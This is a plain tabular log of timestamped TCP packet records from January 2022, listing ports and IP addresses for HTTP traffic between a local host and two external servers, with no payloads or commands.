Jan 14, 2022 01:51:56.192845106 CET	49875	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.244515896 CET	80	49875	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.270167112 CET	80	49875	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.270252943 CET	49875	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.316611052 CET	49875	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.369139910 CET	80	49875	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.720411062 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.771095037 CET	80	49876	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.771199942 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.842340946 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.842384100 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.893174887 CET	80	49876	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.919859886 CET	80	49876	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.919996977 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.934393883 CET	49876	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.985135078 CET	80	49876	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:57.064266920 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.136132956 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136181116 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136223078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136246920 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.136269093 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136310101 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136359930 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136399031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136436939 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136475086 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136514902 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.136838913 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208020926 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208089113 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208134890 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208151102 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208180904 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208230019 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208235025 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208275080 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208313942 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208338976 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208359957 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208410978 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208417892 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208465099 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208513975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208523035 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208558083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208604097 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208612919 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208648920 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208689928 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208705902 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208736897 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208780050 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208787918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208825111 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208869934 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208877087 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.208910942 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.208965063 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280447960 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280510902 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280554056 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280595064 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280612946 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280663967 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280673027 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280709028 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280751944 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280767918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280800104 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280848026 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280854940 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280894041 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280935049 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.280951023 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.280982018 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281025887 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281033993 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281069994 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281112909 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281121016 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281157017 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281198978 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281208038 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281244993 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281286955 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281301975 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281331062 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281374931 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281384945 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281420946 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281466007 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281472921 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281510115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281557083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281560898 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281618118 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281666040 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281686068 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281712055 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281755924 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281766891 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281799078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281837940 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281882048 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.281929970 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.281985998 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282020092 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.282037020 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282084942 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282093048 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.282130957 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282176971 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.282183886 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282224894 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282269001 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282274961 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.282313108 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.282367945 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.353619099 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353679895 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353734970 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353755951 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.353791952 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353852987 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.353869915 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353930950 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353987932 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.353988886 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354042053 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354095936 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354105949 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354150057 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354203939 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354209900 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354254961 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354310036 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354314089 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354362011 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354419947 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354420900 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354475975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354530096 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354533911 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354583025 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354641914 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354641914 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354692936 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354748011 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354749918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354799032 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354856014 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354859114 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.354907036 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354959965 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.354960918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355010986 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355067015 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355070114 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355118036 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355174065 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355178118 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355225086 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355281115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355283022 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355333090 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355386972 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355390072 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355439901 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355494976 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355499983 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355545044 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355600119 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355603933 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355650902 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355705976 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355710030 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355757952 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355809927 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355817080 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355861902 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355916023 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.355931997 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.355966091 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356019974 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356025934 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356071949 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356125116 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356134892 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356177092 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356228113 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356236935 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356280088 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356333017 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356339931 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356395006 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356447935 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356456041 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356499910 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356551886 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356559038 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356604099 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356657982 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356664896 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356709957 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356765032 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356767893 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356813908 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356868029 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356872082 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.356936932 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356991053 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.356995106 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357040882 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357095003 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357099056 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357146025 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357202053 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357211113 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357253075 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357309103 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357314110 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357361078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357415915 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357419968 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357466936 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357521057 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357525110 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357573032 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357629061 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357629061 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357678890 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357731104 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357739925 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357784033 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357836962 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357841969 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.357911110 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.357974052 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.393641949 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429380894 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429441929 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429482937 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429516077 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429522038 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429563046 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429591894 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429605007 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429646969 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429666996 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429687977 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429728031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429749966 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429764986 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429804087 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429828882 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429843903 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429919004 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429938078 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.429960012 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.429996014 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430023909 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430033922 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430074930 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430100918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430113077 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430152893 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430174112 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430191040 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430228949 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430254936 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430269957 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430310965 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430332899 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430352926 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430393934 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430416107 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430433035 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430474043 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430496931 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430511951 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430552006 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430577040 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430589914 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430629015 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430651903 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430668116 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430707932 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430730104 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430747032 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430785894 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430805922 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430824041 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430860996 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430881977 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430901051 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430942059 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.430958033 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.430982113 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431020975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431041956 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431058884 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431097031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431123018 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431149960 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431185961 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431204081 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431226015 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431263924 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431281090 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431303978 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431343079 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431358099 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431381941 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431421995 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431438923 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431462049 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431499004 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431519032 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431536913 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431574106 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431600094 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431612968 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431653023 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431670904 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431691885 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431730032 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431751013 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431768894 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431804895 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431827068 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431844950 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431883097 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431902885 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431921959 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431961060 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.431978941 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.431998014 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432037115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432055950 CET	49842	80	192.168.2.3	141.8.194.74
